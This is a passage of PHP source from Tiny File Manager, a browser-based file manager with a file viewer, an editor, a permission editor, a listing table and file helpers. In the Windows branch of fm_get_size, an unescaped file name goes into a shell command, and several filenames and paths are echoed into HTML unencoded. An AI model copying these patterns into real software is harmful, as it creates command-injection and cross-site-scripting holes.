<b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>&tofolder=1" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i>
<?php echo lng('UnZipToFolder') ?></a></b>
<?php
}
if ($is_text && !FM_READONLY) {
?>
<b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
</a></b>
<b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"
class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
</a></b>
<?php } ?>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
</p>
<?php
}
if($is_onlineViewer) {
if($online_viewer == 'google') {
echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
} else if($online_viewer == 'microsoft') {
echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
}
} elseif ($is_zip) {
// ZIP content
if ($filenames !== false) {
echo '<code class="maxheight">';
foreach ($filenames as $fn) {
if ($fn['folder']) {
echo '<b>' . fm_enc($fn['name']) . '</b><br>';
} else {
echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
}
}
echo '</code>';
} else {
echo '<p>'.lng('Error while fetching archive info').'</p>';
}
} elseif ($is_image) {
// Image content
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>';
}
} elseif ($is_audio) {
// Audio content
echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>';
} elseif ($is_video) {
// Video content
echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
} elseif ($is_text) {
if (FM_USE_HIGHLIGHTJS) {
// highlight
$hljs_classes = array(
'shtml' => 'xml',
'htaccess' => 'apache',
'phtml' => 'php',
'lock' => 'json',
'svg' => 'xml',
);
$hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
$hljs_class = 'nohighlight';
}
$content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>';
} elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
// php highlight
$content = highlight_string($content, true);
} else {
$content = '<pre>' . fm_enc($content) . '</pre>';
}
echo $content;
}
?>
</div>
</div>
<?php
if(!$quickView) {
fm_show_footer();
}
exit;
}
// file editor
if (isset($_GET['edit'])) {
$file = $_GET['edit'];
$file = fm_clean_path($file, false);
$file = str_replace('/', '', $file);
if ($file == '' || !is_file($path . '/' . $file)) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
$editFile = ' : <i><b>'. $file. '</b></i>';
header('X-XSS-Protection:0');
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
$file_path = $path . '/' . $file;
// normal editer
$isNormalEditor = true;
if (isset($_GET['env'])) {
if ($_GET['env'] == "ace") {
$isNormalEditor = false;
}
}
// Save File
if (isset($_POST['savedata'])) {
$writedata = $_POST['savedata'];
$fd = fopen($file_path, "w");
@fwrite($fd, $writedata);
fclose($fd);
fm_set_msg(lng('File Saved Successfully'));
}
$ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
$mime_type = fm_get_mime_type($file_path);
$filesize = filesize($file_path);
$is_text = false;
$content = ''; // for text
if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
$is_text = true;
$content = file_get_contents($file_path);
}
?>
<div class="path">
<div class="row">
<div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
<div class="btn-toolbar" role="toolbar">
<?php if (!$isNormalEditor) { ?>
<div class="btn-group js-ace-toolbar">
<button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button>
<button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button>
<button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button>
<button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button>
<button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button>
<button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button>
<select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select>
<select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select>
<select id="js-ace-fontSize" data-type="fontSize" title="Select Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select>
</div>
<?php } ?>
</div>
</div>
<div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1">
<a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
<a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
<?php if ($is_text) { ?>
<?php if ($isNormalEditor) { ?>
<a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
<button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
</button>
<?php } else { ?>
<a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
<button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
</button>
<?php } ?>
<?php } ?>
</div>
</div>
<?php
if ($is_text && $isNormalEditor) {
echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
} elseif ($is_text) {
echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
} else {
fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
}
?>
</div>
<?php
fm_show_footer();
exit;
}
// chmod (not for Windows)
if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) {
$file = $_GET['chmod'];
$file = fm_clean_path($file);
$file = str_replace('/', '', $file);
if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) {
fm_set_msg(lng('File not found'), 'error');
fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
$file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
$file_path = $path . '/' . $file;
$mode = fileperms($path . '/' . $file);
?>
<div class="path">
<div class="card mb-2 <?php echo fm_get_theme(); ?>">
<h6 class="card-header">
<?php echo lng('ChangePermissions') ?>
</h6>
<div class="card-body">
<p class="card-text">
Full path: <?php echo $file_path ?><br>
</p>
<form action="" method="post">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>">
<table class="table compact-table <?php echo fm_get_theme(); ?>">
<tr>
<td></td>
<td><b><?php echo lng('Owner') ?></b></td>
<td><b><?php echo lng('Group') ?></b></td>
<td><b><?php echo lng('Other') ?></b></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
<td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
<td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
</tr>
<tr>
<td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
<td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
<td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
</tr>
</table>
<p>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
<b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>
</p>
</form>
</div>
</div>
</div>
<?php
fm_show_footer();
exit;
}
//--- FILEMANAGER MAIN
fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path
// messages
fm_show_message();
$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
<input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>">
<input type="hidden" name="group" value="1">
<div class="table-responsive">
<table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
<thead class="thead-white">
<tr>
<?php if (!FM_READONLY): ?>
<th style="width:3%" class="custom-checkbox-header">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
<label class="custom-control-label" for="js-select-all-items"></label>
</div>
</th><?php endif; ?>
<th><?php echo lng('Name') ?></th>
<th><?php echo lng('Size') ?></th>
<th><?php echo lng('Modified') ?></th>
<?php if (!FM_IS_WIN && !$hide_Cols): ?>
<th><?php echo lng('Perms') ?></th>
<th><?php echo lng('Owner') ?></th><?php endif; ?>
<th><?php echo lng('Actions') ?></th>
</tr>
</thead>
<?php
// link to parent folder
if ($parent !== false) {
?>
<tr><?php if (!FM_READONLY): ?>
<td class="nosort"></td><?php endif; ?>
<td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
<td class="border-0" data-order></td>
<td class="border-0" data-order></td>
<td class="border-0"></td>
<?php if (!FM_IS_WIN && !$hide_Cols) { ?>
<td class="border-0"></td>
<td class="border-0"></td>
<?php } ?>
</tr>
<?php
}
$ii = 3399;
foreach ($folders as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
if ($calc_folder) {
$filesize_raw = fm_get_directorysize($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
}
else {
$filesize_raw = "";
$filesize = lng('Folder');
}
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
<label class="custom-control-label" for="<?php echo $ii ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fm_convert_win(fm_enc($f)) ?>>
<div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
</a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
</td>
<td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
<?php echo $filesize; ?>
</td>
<td data-order="a-<?php echo $modif_raw;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN && !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
<?php endif; ?>
<td class="inline-actions"><?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
<a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
</td>
</tr>
<?php
flush();
$ii++;
}
$ik = 6070;
foreach ($files as $f) {
$is_link = is_link($path . '/' . $f);
$img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
$modif_raw = filemtime($path . '/' . $f);
$modif = date(FM_DATETIME_FORMAT, $modif_raw);
$filesize_raw = fm_get_size($path . '/' . $f);
$filesize = fm_get_filesize($filesize_raw);
$filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f);
$all_files_size += $filesize_raw;
$perms = substr(decoct(fileperms($path . '/' . $f)), -4);
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner = posix_getpwuid(fileowner($path . '/' . $f));
$group = posix_getgrgid(filegroup($path . '/' . $f));
} else {
$owner = array('name' => '?');
$group = array('name' => '?');
}
?>
<tr>
<?php if (!FM_READONLY): ?>
<td class="custom-checkbox-td">
<div class="custom-control custom-checkbox">
<input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>">
<label class="custom-control-label" for="<?php echo $ik ?>"></label>
</div>
</td><?php endif; ?>
<td data-sort=<?php echo fm_enc($f) ?>>
<div class="filename">
<?php
if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
<?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
<a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>">
<?php else: ?>
<a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
<?php endif; ?>
<i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?>
</a>
<?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
</div>
</td>
<td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
<?php echo $filesize; ?>
</span></td>
<td data-order="b-<?php echo $modif_raw;?>"><?php echo $modif ?></td>
<?php if (!FM_IS_WIN && !$hide_Cols): ?>
<td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
</td>
<td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td>
<?php endif; ?>
<td class="inline-actions">
<a title="<?php echo lng('Preview') ?>" href="<?php echo $filelink.'&quickView=1'; ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php echo fm_convert_win(fm_enc($f)) ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a>
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o"></i></a>
<a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
<a title="<?php echo lng('CopyTo') ?>..."
href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
<?php endif; ?>
<a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
<a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>"><i class="fa fa-download"></i></a>
</td>
</tr>
<?php
flush();
$ik++;
}
if (empty($folders) && empty($files)) {
?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td></td><?php endif; ?>
<td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
</tr>
</tfoot>
<?php
} else {
?>
<tfoot>
<tr><?php if (!FM_READONLY): ?>
<td class="gray"></td><?php endif; ?>
<td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>">
<?php echo lng('FullSize').': <span class="badge badge-light">'.fm_get_filesize($all_files_size).'</span>' ?>
<?php echo lng('File').': <span class="badge badge-light">'.$num_files.'</span>' ?>
<?php echo lng('Folder').': <span class="badge badge-light">'.$num_folders.'</span>' ?>
<?php echo lng('PartitionSize').': <span class="badge badge-light">'.fm_get_filesize(@disk_free_space($path)) .'</span> '.lng('FreeOf').' <span class="badge badge-light">'.fm_get_filesize(@disk_total_space($path)).'</span>'; ?>
</td>
</tr>
</tfoot>
<?php
}
?>
</table>
</div>
<div class="row">
<?php if (!FM_READONLY): ?>
<div class="col-xs-12 col-sm-9">
<ul class="list-inline footer-action">
<li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
<a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
<a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
</ul>
</div>
<div class="col-3 d-none d-sm-block"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
<?php else: ?>
<div class="col-12"><a href="https://tinyfilemanager.github.io" target="_blank" class="float-right text-muted">Tiny File Manager <?php echo VERSION; ?></a></div>
<?php endif; ?>
</div>
</form>
<?php
fm_show_footer();
//--- END
// Functions
/**
* Check if the filename is allowed.
* @param string $filename
* @return bool
*/
function fm_is_file_allowed($filename)
{
// By default, no file is allowed
$allowed = false;
if (FM_EXTENSION) {
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (in_array($ext, explode(',', strtolower(FM_EXTENSION)))) {
$allowed = true;
}
}
return $allowed;
}
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
/**
* Recursive chmod
* @param string $path
* @param int $filemode
* @param int $dirmode
* @return bool
* @todo Will use in mass chmod
*/
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
/**
* Check the file extension which is allowed or not
* @param string $filename
* @return bool
*/
function fm_is_valid_ext($filename)
{
$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
return ($isFileAllowed) ? true : false;
}
/**
* Safely rename
* @param string $old
* @param string $new
* @return bool|null
*/
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if(!$isFileAllowed) return false;
return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}
/**
* Copy file or folder (recursively).
* @param string $path
* @param string $dest
* @param bool $upd Update files
* @param bool $force Create folder with same names instead file
* @return bool
*/
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' && $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
/**
* Safely create folder
* @param string $dir
* @param bool $force
* @return bool
*/
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
/**
* Safely copy file
* @param string $f1
* @param string $f2
* @param bool $upd Indicates if file should be updated with new content
* @return bool
*/
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 && $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
/**
* Get mime type
* @param string $file_path
* @return mixed|string
*/
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
/**
* HTTP Redirect
* @param string $url
* @param int $code
*/
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
/**
* Path traversal prevention and clean the url
* It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
* @param $path
* @return string
*/
function get_absolute_path($path) {
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
/**
* Clean path
* @param string $path
* @return string
*/
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
/**
* Get parent path
* @param string $path
* @return bool|string
*/
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
/**
* Check file is in exclude list
* @param string $file
* @return bool
*/
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) {
return true;
}
return false;
}
/**
* get language translations from json file
* @param int $tr
* @return array
*/
function fm_get_translations($tr) {
try {
$content = @file_get_contents('translation.json');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
/**
* @param $file
* Recover all file sizes larger than > 2GB.
* Works on php 32bits and 64bits and supports linux
* @return int|string
*/
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin && class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
/**
* Get nice filesize
